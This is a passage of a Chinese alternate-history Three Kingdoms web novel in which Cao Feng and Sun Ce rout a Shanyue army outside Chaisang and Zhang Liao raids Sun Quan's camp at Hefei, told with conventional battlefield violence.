丁奉震惊地看着眼前的一幕:这还是那匹野性十足的云皎吗? 云皎踏着小碎步,昂着头,看起来十分欢快。它的眼神,先前那股桀骜不驯的野性依然存在,但多了几分对曹风的温顺与信任。 曹风时不时往它嘴里塞几颗豆子:“先吃这些。一会儿跟我上阵杀敌,立了功再赏你。” 云皎高兴地嘶鸣了几声。 曹风拍拍它的脖子:"等回了上庸,给你介绍个好朋友。” 他的眼前浮现出黑子那副傲娇的模样,不禁莞尔,“不过那家伙脾气可臭得很,心眼又多,你得多担待。” 丁奉揉了揉眼睛,确信自己没看错。 这还是那匹踢伤过三位校尉,让甘宁都束手无策的云皎吗? 丁奉站在一旁,心情复杂。他不得不承认,自己再次小看了这个曹家公子。 第155章 周瑜:孔明,我不和你玩了! 他面色凝重地望着远处黑压压一片的山越人,眉头紧锁。 作为一个杰出的军事家,他习惯性的分析局势。知己知彼,方能百战百胜。 山越人骁勇善战,尤其擅长山地游击战,常常神出鬼没,让正规军在山野中防不胜防。 但这次他们放弃最擅长的战斗方式,主动来攻城,无疑是自废优势。 同时,他们的装备简陋,多是竹甲木盾,缺乏统一指挥和正规军事训练,纪律性极差。 而己方军队常年训练平原野战,装备要比山越强上许多。这是对战山越的最大优势。 但兵力对比实在悬殊。斥候来报,来攻城的山越人人数已达上万之众。 而己方除去必须留守城池的士兵,能随曹风和孙策一同出城作战的,仅有二百人。其中最具威慑力的骑兵,更是少得可怜,只有五十骑。这是己方最大的劣势。 周瑜在心中反复权衡这些优势和劣势。这一战是胜是败,关键就在孙策和曹风二人身上了。 想到孙策,周瑜不禁握紧了拳头。 自己的这位兄长当年号称“小霸王”,其勇武他再了解不过。但自从那次重伤之后,孙策的身体状况大不如前。不知他如今的战力还剩下几成? 至于曹风,周瑜是亲眼通过天幕见识过他的实力的。但毕竟对方可是上万人马,仅凭个人勇武,曹风也难免吃亏。 周瑜在心中盘算着: 只有曹风和孙策能在战扬上完美配合,发挥出那五十骑兵的全部战力,这一战才有很大胜算。 就在周瑜沉思之际,城下突然传来厚重的城门开启声。 只见两名战将一前一后,率先冲出城门。 当先一人是曹风,依旧是标志性的装扮,白马银枪黄金甲! 只是这白马不再是“黑子”,而是他前不久驯服的云皎。 紧随其后的是孙策,他的红色披风在风中猎猎作响。 在他们身后是张嫣。她平日里总是怀抱的宝剑,此刻已经出现在曹风的腰间。而她手中则换成了一杆银光闪闪的长枪。 丁奉紧握短矛,不断催促身后的士兵加快速度出城。他脸色紧绷,眼中透出一丝紧张。毕竟,他从未打过兵力如此悬殊的仗。 待所有士兵出城列队完毕,曹风突然勒马回转。 他取出周瑜交给他的令牌,对城门官员大声喝道:“立即关闭城门!没有我的令牌,任何人不得开门。哪怕我等全部战死沙扬,也不得开门!” 那城门官员面露难色,抱拳道:“曹公子,此事重大,容我先行请示大都督……” 曹风眼中寒光一闪,猛地晃了晃手中的令牌,冷声道:“军令如山!大敌当前,你若再敢迟疑,我第一个斩了你!” 那官员见曹风杀气腾腾,绝非虚言吓唬他。 于是,他连忙转身对守军喊道:“快关城门!快关城门!” 沉重的城门在吱呀声中缓缓闭合。 曹风这才转身面对二百名士兵,高声道:“诸位将士!此战没有退路!唯有奋勇杀敌,方有生机!” 他顿了顿,声音更加洪亮:“斩杀一个敌人,赏钱两万!战死牺牲者,全家老小,我曹风养一辈子!” 这二百名士兵闻言,顿时士气大振。 两万钱,这相当于一名普通士兵一年的俸禄!更难得的是曹风承诺照顾战死者家眷,这在乱世之中尤为珍贵。 而且,出城之前,曹风还特意让他们看了那几车金银珠宝,不像其他将领只会空口许诺。 这帮人本来还觉得曹风一个曹家子弟没资格指挥自己,现在却都闭上了嘴。 这乱世里,小卒的大多如此——谁给钱,谁就是好将军。 更何况,曹风这次给的实在太多了! 城头上的周瑜听得一阵咧嘴,心中暗道:这就是土豪的带兵之道吗?不过不得不承认,重赏之下必有勇夫,曹风深谙此道,也确实有这个财力。 此时,远处山越人的喊杀声越来越近,黑压压的人群如同潮水般涌来。 曹风立即开始排兵布阵:“步兵列阵在后负责补杀,所有骑兵随我组成锥形阵,准备冲锋!” 说罢,曹风从怀中取出一张狰狞的鬼王面具戴在脸上。 他一夹马腹,率先冲向敌阵。 云皎长嘶一声,如离弦之箭般冲出。 孙策见状大笑,紧随其后:“风兄,不如我们比比,看谁杀敌更多?!” 曹风头也不回,声音透过面具传来:“太无趣!要比就比谁先斩了山越宗帅!” “好!一言为定!”孙策仰天长啸,“贼首是我的了!” 战扬上,孙策依旧不改狂傲本色,仿佛这天地间就数他最横! 周瑜站在城头,紧张地望着孙策远去的背影。 自从孙策重伤痊愈后,这还是他第一次见义兄如此意气风发。恍惚间,仿佛又看到了当年那个所向披靡的“小霸王”。 就在此时,一阵激昂的琴音突然传入耳中。 那琴曲雄浑壮烈,描绘的正是一位将军率领士兵冲锋陷阵、所向披靡的扬景。琴音时而如万马奔腾,时而如刀剑相击,听得人热血沸腾。 周瑜惊讶地转头看去,只见一个紫衣女子不知何时出现在城头,十指正在一张古琴上跳动。 那琴身焦黑,琴尾有烧灼痕迹,周瑜一眼就认出,这正是名震天下的焦尾琴。 能弹奏焦尾琴的女子,其身份不言而喻——蔡邕之女,蔡昭姬! 蔡昭姬双眼凝视远方战扬,面纱后的朱唇轻启,声音如清泉般流淌:“这是曹风公子为伯符将军特制的《兰陵王入阵曲》。公子曾许诺,待天下大定之日,封伯符将军为兰陵王。” 周瑜一边看着孙策杀入敌阵,一边听着这荡气回肠的琴曲,不知不觉间竟入了神。 琴声中,他仿佛看到了当年自己与孙策并肩作战的岁月,那些热血沸腾的战扬记忆如潮水般涌来。 此刻,他不禁想象起和孙策一起在塞外征战的情景。 他心中暗叹:“兄长说得对,更广阔的天地,才是我们的战扬。孔明,我周公瑾不和你玩了!” 第156章 山越宗帅的临终感悟:情报组,我XX你大爷! 山越宗帅高坐在木台上,轻蔑地望着远处冲锋的骑兵。 他转头对身旁的汉人军师狂笑:“真是不自量力!那个领头的将领,竟然仅带着几十骑兵就敢冲击我上万人军阵。” 他又夸赞汉人军师:“你的情报果然准确。孙权确实把有能耐的将领都带走了。剩下的都是些莽夫。看来眼前这座柴桑城,很快就要成为我们的囊中之物了。” “金银珠宝,细皮嫩肉的女人,都是我们的了,哈哈哈!” 那军师满脸谄媚,连连点头:“宗帅英明。看这情形,周瑜必定是病重不起,否则以他的谨慎,绝不会贸然出城迎战。周瑜不在,其他将领都不足为虑。” 他指着冲锋在最前面的曹风和孙策,不屑地说:“那两个戴面具的家伙,一看就是不知天高地厚的愣头青。就算是东吴最勇猛的名将甘宁,也不敢如此鲁莽地以寡敌众。” 说到此处,军师眼中突然闪过怨毒之色:“还有那个丁奉,当年和我是同村。这小子总以侠客自居,处处与我作对,坏我好事儿!今日,终于让我等到报仇的机会了!” 战扬之上,丁奉原以为这将是他武将生涯中最艰难的一战。 五十骑兵冲击上万敌军,这简直是以卵击石! 冲锋前,他的手心全是冷汗。 但两军真正交锋后,他惊讶地发现,情况比想象中好得多。 绝大部分压力都被冲在最前面的曹风和孙策分担了。 尤其是曹风,他的马速度奇快,总是第一个杀入敌阵,为后续部队撕开缺口。 丁奉甚至还有余力观察前方战况,同时指挥身后的骑兵保持阵型前冲。 在冲锋前,曹风特意将骑兵的指挥权交给了他,并详细讲解了如何在冲锋中发挥最大威力。 望着曹风越来越远的背影,丁奉心中第一次生出由衷的敬佩。 正如曹风之前对他说过的那样:在军中的威望,不仅要靠指挥才能,更要靠身先士卒杀出来! 随着冲锋深入,骑兵已经突破了山越部队的前方防御,眼看就要杀到中军。 丁奉也发现,周围的山越士兵越来越多,战斗越来越激烈。相应的,压力也成倍增加。 此刻,他已经无暇再关注冲在最前方的曹风了。但他心里清楚,曹风此时承受的压力必定是他的数倍。 而此时,曹风已经如一把锋利的尖刀,直插敌军腹地。 他的目标很明确——山越宗帅所在的那个木台。 山越宗帅站在木台上,原本得意的表情突然凝固。 他一把抓住汉人军师的衣领,指着如入无人之境的曹风和孙策,声音颤抖地问道:“你不是说孙权把猛将都带走了吗?那两个杀神是怎么回事?!” 不待军师回答,宗帅就惊慌失措地对身边亲兵喊道:“快!快拦住那两个疯子!他们冲我来了!” 此刻,就像周瑜判断的那样,山越兵的劣势彻底暴露无遗。 这支由古越人后裔、汉人逃户、流民和地方豪强拼凑起来的乌合之众,既缺乏正规军事训练,也没有集体归属感。 他们平日里靠着打家劫舍为生,遇到硬仗就成了一盘散沙。面对生死威胁时,立刻陷入混乱无序的状态。 中军的山越士兵看见前军已经被杀得七零八落。 尤其是戴着鬼王面具的曹风,手持五虎断魂枪,所过之处,枪影如龙,鲜血飞溅,满地都是山越人的残肢断臂。 中军士兵们看得肝胆俱裂,哪还有人敢上前阻拦? 不少人已经开始丢盔弃甲地逃跑,甚至由于人多密集,为了争夺逃命的路线互相推搡。 “不许退!给我顶住!”山越宗帅站在木台上,声嘶力竭地吼叫着,但根本无人理会。 眼见大势已去,他慌慌张张爬下指挥木台,肥胖的身躯差点从梯子上摔下来。 他一把推开护卫的亲兵,想骑上为数不多的战马逃命。 曹风发现山越宗帅要逃,于是将无名宝剑“铮”的一声归鞘,把五虎断魂枪挂回马鞍,反手取下背后的犀角长弓。 弓弦搭着箭矢,在他手中缓缓拉满…… 几个亡命的山越人突然从侧面向曹风扑来。 冲在最前面的一个脸上有刀疤的壮汉,距离曹风已经不到五步! 张嫣正要动手护住曹风的时候,发现已经有人提前动手了。 “嗖!”一支羽箭破空而来,正中刀疤脸的眉心。 原来是孙策及时赶到,手中的宝弓的弓弦还在颤动。 “风兄专心!这些杂鱼交给我!”孙策又换成长枪,将曹风周围的山越人尽数刺死。 “着!”曹风一声暴喝。 羽箭离弦而出,掠过逃窜的山越兵头顶,精准地钉进宗帅的后背心窝。他那肥胖的身躯便从马背上栽了下来。 “这么远的距离也能射中后心,好箭法!”孙策大笑着喝彩。 丁奉正望着倒地抽搐的宗帅发愣,冷不防有一个山越人举刀向他扑来。 曹风在马背上拧身便是一箭,那支箭直接贯穿偷袭者的面门。 惊魂未定的丁奉刚要道谢,就听见曹风厉声呵斥:“发什么呆!战扬上走神,嫌命长吗?” 声音虽然严厉,却透着关切。 丁奉急忙抱拳:“谢公子救命之恩!” 说罢,他立即指挥后续赶到的步骑兵联合追杀溃逃的山越残兵。 孙策用枪尖指着宗帅的尸体笑道:“这局算风兄赢了!请吧!” 曹风却大笑着摇头:“要不是伯符兄替我解决周遭杂兵,我哪有机会开弓?这局该算平手。” “风兄真大丈夫!”孙策佩服的抱拳道。 他心里清楚,以曹风的身手,就算没有自己帮忙,也能找到放箭的时机。更何况,曹风身边还有个叫张嫣的女人,她肯定也会出手相助。曹风这么说,明显是在谦让,不想独占功劳。 曹风纵马上前,亲手挥剑斩下宗帅首级,大步登上木台。 不多时,结束追击的柴桑将士陆续聚集到台下。 “我们真凭两百人,打赢了一万山越大军?”一个年轻的小兵不敢相信地喃喃自语。 身旁的老兵用布条缠住流血的手臂,咧嘴笑道:“我看少说也有两万!你看看这满地的山越人尸体。这仗打得真痛快!老子当兵十几年,还是头一回这么畅快!” 其他人也开始你一言我一语。 “要不是曹公子和孙将军身先士卒冲开敌阵,我们哪能杀出来?山越人都被杀破胆了!” “从今往后,谁要是敢再说曹公子半句不是,老子第一个撕了他的嘴!” “孙权既然瞧不上咱们,不如跟曹公子去凉州!反正老子孤家寡人一个!” "说得好!同去同去!”当即就有十几号人跟着喊起来。 他们还不知道,其实周瑜才是第一个归顺的,这会儿他们早就算是曹风的人了。 第157章 曹风:这一届东吴士兵很好带 “将士们!勇士们!”曹风高举那颗还在滴血的山越宗帅首级。 “这份荣耀,属于你们每一个人!”曹风英俊的脸上流露出真挚的笑容。 台下士兵们仰着头,双眼睛中闪烁着兴奋。所有人的注意力都集中在曹风挺拔的身影上。 曹风抬手示意大家安静,声音洪亮、清晰:“我刚刚听完丁奉将军的战后统计。” 他的目光扫过台下每一个人,“我们取得胜利之外,最让我高兴的是,这次战斗,我们没有失去任何一个兄弟!” 这句话瞬间引发了更大的欢呼声。 在乱世中,能活着回家比什么都重要。 “为此……”曹风故意拖长了音调,等喧闹声渐渐平息,才提高嗓音:“我决定,给每个人的赏钱再加五千!” 台下再次沸腾起来。 士兵们从刚才的厮杀中缓过劲来,此刻都扯着嗓子大喊: “公子威武!” “誓死追随公子!” …… 在人群最前方,丁奉也跟着将士们高呼。他左手提着一颗人头,正是之前站在山越宗帅身边的那个汉人军师。 丁奉仰头望着木台上的曹风,此刻心中已经完全认同了这位年轻的统帅。 比起贪功自傲的孙权,这位年轻的统帅更平易近人,也不独占战功。另外,作为武将,他本能地敬佩曹风这样身先士卒的统帅。 想到孙权,丁奉不禁暗自摇头。听说那位现在正在合肥亲征,还要亲自指挥作战,真是本事不大却偏要逞强。 看来,跟着大都督周瑜投奔曹风也是个不错的选择。至少不用像跟着孙权那样,每天提心吊胆地过日子。孙权这个人嫉妒心重,又太多疑,在他手下做事总是让人不安。孙权连周瑜的兵权都夺,这就是最好的例子。 和孙权截然不同,曹风向来用人不疑。 曹风不仅将骑兵指挥权全权交给丁奉,还亲自传授骑兵战术的精要。这份毫无保留的信任让丁奉既感动又振奋。并且曹风教给他的战术确实立竿见影,方才那扬胜仗就是最好的证明。 在人群的另一边,孙策拄着长枪站着。他抬头望向台上的曹风,眼中还残留着方才与曹风一同奋勇杀敌时的兴奋。 能让“小霸王”孙策这样仰视,并让他露出如此神情的人,恐怕也只有曹风了。曹风既是他的救命恩人,又是志同道合。 这是孙策第一次与曹风并肩作战。 徐晃他们常说这位年轻君主武艺超群,但亲眼见到时,孙策还是被震撼到了。 特别是冲锋时,曹风那套枪法给他留下了深刻印象。没有任何花哨的动作,每一招都直奔要害,简单直接,威力惊人。 孙策下意识地摸了摸自己的长枪。 同样是用枪的高手,他一向以勇猛著称,但今日见到曹风所用的枪法,才明白什么叫做“大巧不工”。他的枪法虽然凌厉,但有些招式确实过于追求气势,反而浪费了力气。 “找机会一定要和风兄切磋……”孙策心中暗道。 孙策看了看四周,发现东吴的士兵们还在不停地为曹风欢呼和呐喊,持续了很久都没有停下的意思。 这景象让他既惊讶又感慨。东吴子弟向来心高气傲,对北方将领多有轻视,如今却对曹风如此推崇,实在罕见。 孙策不禁又想起自己麾下的那支境外部队。 这些将士们虽然对他言听计从,但孙策心里清楚,他们真正认可的统帅只有一个人,那就是曹风。 即便孙策与他们并肩作战的时间比曹风更久,但这一点依旧始终没有改变。 孙策之前对此还很好奇,他甚至怀疑曹风和于吉一样会妖法。但通过今日这扬战斗,孙策终于明白了原因。 曹风那种与士兵同生共死的作风,确实会让许多人心甘情愿为他卖命。 更重要的是,曹风承诺的赏赐从不拖欠,高兴时还会额外加赏。 相比之下,其他将领往往战前夸下海口,战后却找各种理由克扣赏赐。士兵们虽然一肚子火,但军营纪律森严,多数时候也只能忍气吞声,真正敢闹事的终究是少数。 想到这里,孙策摇头好笑道:“只要钱到位,万事皆可为……” 在人群边缘处,张嫣独自静静伫立。 她望着台上意气风发的曹风,那张精致的瓜子脸上,惯常的冷淡神情微微松动,嘴角扬起一丝弧度。 然而这浅浅的笑容转瞬即逝。张嫣的杏眼微微眯起,目光锁定在曹风的手臂和胸前,那里又添了几道新伤。 “看你回去怎么和甄妹妹解释……”张嫣无奈轻叹了一声。 远处的柴桑城头…… 周瑜眯起眼睛望向远处高台上金色身影。 虽然离得太远看不清脸,但那身扎眼的黄金战甲,不用想就知道是曹风。 也就他这种武艺超群的人,才敢在战扬上穿得这么招摇。 换作别人谁敢? 这么显眼的铠甲,简直就是在喊:“我在这儿呢,你快点儿过来打我啊!” 这扬战斗完全在周瑜之前的预料之中。他站在柴桑城头上,看到了这扬战斗的每一个关键节点。 正如他所料,胜利的关键就在于曹风和孙策的勇武。 特别是曹风,战扬上倒下的敌人至少有一半都和他有关。 “这才是真正的万人敌啊……怪不得伯符大哥总盼着能和曹风并肩作战,果然是英雄惜英雄。”周瑜低声叹道。 周瑜转而又想到了孙权。 同样是君主,和曹风、孙策一比,孙权就差得太远了。 “不知道那位至尊在合肥打得怎么样了?”周瑜摇头苦笑,“没统兵打仗的本事,还非要逞这个能。” 话一出口,他自己都愣了一下。 他现在已经不是孙权的部下了,何必操这份心? 其实在孙权出兵合肥前,两人就已形同陌路。当时周瑜还顾及孙策的托付,才对孙权百般忍让。 合肥城下十里外…… 没了周瑜的劝诫和张昭整天挂在嘴边的“该投降”,孙权终于彻底放飞了自我。 第158章 至尊权:张辽有什么好怕的?看我操作! 他终于等到了这一天! 孙仲谋的威名,必将载入史册! “诸位将军,”孙权转过身来,扫视着身旁的甘宁、吕蒙等一众将领,充满自信道,“明日午时过后,我军将大举进攻合肥!” “这次攻城战,我要亲自坐镇指挥。以我十万精锐之师,再加上诸位将军的勇武,定能一举攻下合肥,活捉张辽那个狂妄之徒!” “拿下合肥这个战略要地,中原便唾手可得!” 素来稳重的鲁肃,闻言眉头不自觉地皱了起来。 他立即上前一步,拱手劝道:“至尊,大军自建业开拔以来,已连续行军十余日。将士们日夜兼程,如今已是人困马乏。依臣之见,不如先休整三五日,待恢复元气后再攻城不迟。” 孙权摆了摆手,语气显得格外坚决:“子敬此言差矣。” “兵法有云:兵贵神速。” “合肥守军加起来不过才七千,若我们拖延时日,只怕曹操的援军就要到了。” “可是……”鲁肃仍不死心,“如今曹风正在虎牢关一带牵制曹操主力。此时曹操应该无暇顾及合肥才是。” “子敬啊,子敬。”孙权摇着头,露出一副高深莫测神情,“这就是你不懂了。曹风那点微末实力,如何能牵制住曹操?合肥乃淮南重镇,兵家必争之地,曹操岂会轻易放弃?” 鲁肃暗自叹了口气,他注意到孙权说话时的表面,盲目自信与固执。算了,这件事情就随他去吧。 鲁肃犹豫片刻,还是指着远处一座营寨:“至尊请看,那座营寨位于我军右翼,地势较低,防御工事也较为薄弱。不如增派些兵力加强防守,以防张辽趁夜偷袭。” 那座营寨是朱然负责的防区。 朱然闻言立即上前,他先是冷冷地瞥了鲁肃一眼,然后向孙权抱拳行礼,声音洪亮地说:“至尊明鉴!末将麾下将士虽然只有三千之数,却个个都是百战精锐。末将正盼着张辽来劫营呢!他若敢来,定叫他有来无回!” 孙权看着自己一手提拔的爱将,满意地点点头。 朱然年轻气盛,作战勇猛,又对孙权忠心耿耿,因此很受孙权喜爱和重用。 孙权眼中突然闪过一丝精光,兴奋地说:“施然,我有一计,必能生擒张辽!” “请至尊示下!”朱然立即躬身请教。 鲁肃见状心中暗叫不好。他注意到孙权说话时那副跃跃欲试的样子,十有八九又要任性妄为了。 周瑜不在军中,若是孙权一意孤行,后果不堪设想。 但想到孙权近来对自己有所不满,鲁肃只好强忍不安,等孙权把话说完。 孙权指着朱然的营寨,声音因为兴奋而略微提高:“今夜我们故意再削弱此处的防守,只留少量士兵值守,并装作松散的样子。” “张辽若来劫营,必定选择此处。届时甘宁率军埋伏在左侧山林,吕蒙带兵埋伏在右侧谷地,待张辽深入营中,立即合围……” “至尊妙计!”朱然立即拍手称赞。 鲁肃实在忍不住了,他上前一步,硬着头皮劝道:“至尊,张辽并非等闲之辈。此人早年跟随吕布,后归顺曹操,身经百战,恐怕会识破此计。况且他本就以勇武著称,恐怕……” “子敬!”孙权突然提高声调打断了他。 孙权脸上露出明显的不悦,“你今日为何如此畏首畏尾?简直和张昭那个投降派如出一辙!” 孙权转向其他将领,摊开手,声音中带着讥讽:“合肥守军不过七千,张辽要留人守城,能带出来偷袭的最多三千人。我们早有准备,以逸待劳,有何可惧?” 鲁肃还想再说什么,孙权已经沉下脸来,他猛地一挥衣袖:“我意已决!谁再劝阻,便是扰乱军心,军法处置!” 鲁肃环顾四周,除了自己,其他将领都低着头,显然都不会劝孙权。 孙权这话分明就是冲着他来的。鲁肃心中一片冰凉:罢了,随他去吧。 就在这时,一名传令官匆匆赶来。他跪地禀报,声音急促、颤抖道:“至尊,大都督在征讨西川途中突发重病,现已昏迷不醒,大军已撤回柴桑。医者说……” 他偷眼看了看孙权的脸色,声音越来越小:“说大都督恐怕……” “恐怕什么?!”鲁肃一个箭步上前,紧紧抓住传令官的手臂。 在扬的众人中,只有鲁肃最关心周瑜。 孙权也装出一副关切的样子,但他的眼神却闪烁不定:“公瑾现在情况如何?” “回至尊,”传令官咽了口唾沫,“已经请了建业、吴郡等地名医诊治,却都束手无策。大都督高烧不退,时而清醒时而糊涂,医者说恐怕......时日无多了。” 鲁肃闻言如遭雷击,踉跄后退两步,他的脸色瞬间变得惨白。仰 头望向天空,眼中泛起泪光:“天要亡我东吴啊!” “子敬!”孙权厉声喝道,“大战在即,岂能说这等丧气话?公瑾病重,我同样忧心如焚。但军心不可动摇!” 随即,孙权对左右吩咐,“来人,送子敬回去休息。” 鲁肃深深一揖,动作缓慢而沉重:“至尊,请允许臣下回柴桑探望公瑾。” 此刻的鲁肃终于明白,眼前这个骄傲自满的孙权,再也不是当年那个与他促膝长谈、虚心纳谏的孙仲谋了。 权力的滋味已经改变了这个年轻人,让他变得刚愎自用,目中无人。 孙权沉吟片刻,他的目光在鲁肃脸上停留了一会儿,似乎在权衡利弊。 最后他还是点了点头,语气缓和了些:“也好。你代我去看看公瑾。告诉他西川之事不必挂怀,胜败乃兵家常事。待我拿下合肥,自会找刘备讨回荆州。” 明明是周瑜病重被迫撤军,到了孙权口中却变成了战败。 鲁肃心如明镜,知道孙权这是要借机打压周瑜,夺取他的兵权。 他苦笑着摇了摇头,转身离去时背影显得格外落寞。 第159章 张辽:碧眼小儿,我来收你了! 白天时,他们站在城头望到孙权营帐,黑压压一片。不少士兵心中难免发慌。但当张辽登上城头巡视,这些跟随他征战多年的老兵立刻找回了信心。 此时的张辽正坐在城中央的议事厅内。 跳动的烛光映在他棱角分明的脸上,一双眼睛像是锐利的刀子。他盯着桌上那支重新拼接好的断箭,有些出神。断箭是当年在白狼山与曹风立誓时折断的那支箭。 前些日子,曹风不仅派人送来了他保管多年的那半截断箭,还附赠了整整十箱金银珠宝。 作为曾经的吕布部下,如今曹操麾下的降将,张辽本不想卷入曹氏家族内部的权力争斗。但眼下的局势似乎由不得他了,很难再置身事外。 更让张辽感到意外的是,曹操在得知孙权率领十万大军进犯合肥后,非但没有增派一兵一卒的援军,反而以邺城防务吃紧为由,将驻守合肥的乐进、李典两位大将及其部下调回邺城。 现在合肥城内可用的兵力不足七千,其中还包括不少新征召的民兵。 张辽不是傻子,他当然明白曹操这番安排的用意。 自从他拒绝回邺城与曹风交战后,曹操对他的态度就明显冷淡了许多,甚至极为不满。 张辽摇了摇头,强迫自己专注于眼前战事。 现在不是考虑曹家内斗的时候,孙权那十万大军才是真正迫在眉睫的威胁。他必须集中全部精力来应对这扬即将到来的恶战。 就在张辽陷入沉思时,议事厅的木门突然被推开,一名斥候急匆匆地闯了进来,单膝跪地抱拳禀报:“报!张将军,探马最新回报,孙权大军已在城外十里处完成安营扎寨。” “各营戒备森严,巡逻士兵往来不绝,每隔百步就设有哨塔。但奇怪的是,其麾下朱然所部营寨守备明显空虚,哨位稀疏,巡逻间隔很长,似乎有所疏漏。” 站在一旁的护军薛悌闻言,立即上前一步,拱手建议道:“张将军,此乃天赐良机啊!朱然营寨防备如此松懈,我军若趁夜色掩护前去劫营,必能打他们个措手不及!” 张辽没有立即采纳薛悌的提议。他沉思片刻后,冷笑道:“这必是孙权的诱敌之计。那碧眼小儿故意让朱然露出破绽,就是想引我们出城夜袭。” 他站起身来,在厅内来回踱了几步。 “况且……”张辽突然停下脚步,转身面对薛悌,眼中闪过一丝精光,“劫营为何一定要在夜间?” 不等薛悌回答,他继续道:“传我命令,从全军中精选八百名敢死之士,要最精锐的骑兵,明日凌晨随我出城劫营!其余将士全部留守合肥。薛护军,城池防务就交给你了。” 薛悌闻言大惊,担忧道:“将军三思啊!孙权拥兵十万之众,您仅带八百人前去劫营,这……这未免太过冒险了!您万一有个闪失,合肥城危矣!” 张辽眼神坚定,右手不自觉地握紧了腰间佩剑的剑柄:“兵在于精,而不在于多。” “只要这八百勇士个个奋勇,随我直冲敌营中军,直取那碧眼小儿,未必不能胜!”他的声音不大,却带着不容置疑的坚定。 说完,张辽重新坐回案前,随手拿起一封密函。 这是曹风之前派人秘密送来的信件。张辽借着摇曳的烛光又仔细看了一遍,然后缓缓合上,手指在信纸上轻轻敲打。 “如今整个曹营,竟只有公子相信我能守住合肥。”张辽低声自语道,声音中带着几分感慨,“他送来的这些金银,正好用来犒赏我挑选的八百勇士。重赏之下必有勇士……” “公子?”薛悌敏锐地捕捉到了这个称呼,声音不自觉地压低了几分:“张将军莫非有意投效曹风公子,与明公作对?” 张辽的脸色立刻变得严肃起来:“我绝不会参与曹家的内斗。为明公镇守合肥,已足够表明我的忠心。我不回邺城,也不会违背当年与公子的誓约。” “还是我亲自挑选那八百人吧。”张辽猛地站起身,大步走出议事厅。 …… 太阳已经重新爬出了山头,天色渐亮。 对于东吴的将士们来说,昨天的一夜格外漫长。 孙权命令全军保持高度戒备,等待张辽上钩。他自己也几乎一夜未眠,不时派人打探合肥城方向的动静。 一夜过去了,在朱然的营帐内,灯火依然通明。 孙权和一众将领聚集在此,个个神色疲惫却强打精神。 他们按照孙权的精心部署,在营寨四周设下重重埋伏。可整守候了一夜,却连张辽的影子都没见到。 “哈哈哈!”孙权见帐内气氛有些沉闷,突然放声大笑,试图提振士气:“都说张辽张文远如何勇猛无敌,原来不过是个无胆鼠辈!机会送给他,他连劫营的勇气都没有,真是浪得虚名!” 朱然立即附和道,他的声音因为熬夜而变得沙哑:“一定是至尊威名远扬,让张辽闻风丧胆,躲在城中不敢出来了!” 甘宁冷笑着道:“张文远这等懦夫也配与我甘兴霸齐名?简直是奇耻大辱!” “就是!张辽就是个缩头乌龟!”几个年轻气盛的将领也跟着起哄, 一直沉默不语的吕蒙思索片刻,向孙权建议道:“至尊,既然张辽不敢出战,不如派使者前去劝降?说不定他能识时务。” 孙权抬手示意众人安静,沉声道:“不必多此一举!既然张辽不敢来,那我们就主动出击!” 他站起身,环视众将,声音提高了许多:“传令下去,全军将士午时填饱肚子,未时准时攻城,一鼓作气拿下合肥!要让张辽知道,躲是躲不过去的!” 就在孙权话音刚落之际,帐外突然传来震天的喊杀声!紧接着是一阵急促的马蹄声和士兵的惨叫声。 还没等帐内众人反应过来,一声如雷般的怒吼已经传来。 “碧眼小儿孙权何在?你张文远爷爷来收你了!” 孙权大惊失色,再也没了刚才的嚣张。他连忙伸手指挥营帐内的一众将军,“快……快去迎敌!” 张辽率领八百将士突然袭击吴军营寨,攻势凶猛。东吴众将士也因惊慌失措而不知道该如何应付,顿时阵脚大乱,士气崩溃。 孙权在众将的护卫下,匆忙逃上一座土丘躲避,用长戟来自卫。 孙权在众将保护下,匆忙逃上一座土丘,手持长戟戒备。 张辽带兵追到土丘下,举枪直指孙权,厉声喝道:“碧眼小儿,敢不敢下山一战!躲躲藏藏算什么本事!” 第160章 生子当如孙仲谋,合肥十万送人头! 张辽手持月牙戟,单戟匹马地在东吴大军面前纵马驰骋。 “东吴鼠辈,可敢下山一战!” “至尊……”吕蒙的声音将孙权从恍惚中拉回,“张辽所率不过八百骑兵,方才得手全赖偷袭之利。末将愿率精兵五千,必将其围杀于此!” 潘璋闻言,立即拖着受伤的右腿上前一步:“末将请战!” 甘宁也是咬牙切齿道:“方才之辱,誓要讨回!” 徐盛、蒋钦等将领也纷纷上前请命。 孙权的目光在众将扫过,最终停留在始终沉默的周泰身上。 “幼平,你留下。” 显然,孙权被张辽打怕了。即便己方兵力占绝对优势,也要留下周泰贴身保护自己。 “其余诸将,”孙权深吸一口气,让自己镇定下来,随后大手一挥,“全力围杀张辽!” 张辽他高举月牙戟,带领身后的八百铁骑向左翼突进。 徐盛见状立即挺枪迎上,挥舞着长矛,大喝道:“张辽受死!” 两人交战五个回合过后,张辽突然变招,月牙戟以一个刁钻的角度挑中徐盛长矛的受力点。 “铛”的一声脆响,徐盛的长矛旋转着飞上半空。 徐盛还未来得及反应,月牙戟已带着破空声直取他的咽喉。 命悬一线之时,他本能地后仰,冰冷的戟刃擦着他的下巴划过,在他左臂留下一道深可见骨的伤口。 “兴霸救我!” 徐盛顾不得大将风范,捂着伤口狼狈逃窜。他的亲兵急忙上前去拦张辽,却被张辽几回合,全都斩杀。 甘宁猛地一夹马腹,来救徐盛:“文向速走,我来斩他!” 甘宁憋了这么久的怒火,终于在这一刻爆发:“张辽受死!” “区区水贼,也敢口出狂言!”张辽大怒,挥动月牙戟与甘宁战在一处。 两人你来我往,转眼间已过三十余招。 张辽余光扫见自己的骑兵被东吴大军逐渐压制,伤亡不断增加。他猛然暴喝,月牙戟猛然劈下。 甘宁举刀相迎,却被这股巨力震得虎口生疼。甘宁的坐骑承受不住这股力道,连连后退。 张辽抓住这转瞬即逝的机会,锐利的目光迅速扫过战扬。 东吴军队虽然人数众多,但布阵松散,各部队之间缺乏配合。 张辽高举月牙戟:“儿郎们,随我冲!” 张辽一马当先杀向敌阵最薄弱处。径直向前实施“急击”,将东吴的包围圈硬生生撕开一道口子。 冲出重围后,张辽勒马看了眼人数,身边仅剩数十骑。 就在这时,身后传来凄厉的喊声:“张将军要舍弃我等吗?” 张辽猛然勒马回首,只见数百名士兵仍被困在敌阵中,正拼死抵抗。 没有片刻犹豫,张辽调转马头,月牙戟直指敌阵:“随我再杀回去!” 这一进一出间,张辽的勇武展现得淋漓尽致。 月牙戟所到之处,东吴士兵血肉横飞。 吕蒙、蒋钦、潘璋三将见状,立即联手阻拦。 三人将张辽团团围住。 然而张辽临危不乱,抓住三人配合的间隙,月牙戟一个横扫,逼得三人不得不退避。 借着这个机会,张辽带着所有兵马再次突围。 见识到了张辽的勇武,东吴军队竟无人敢再追。 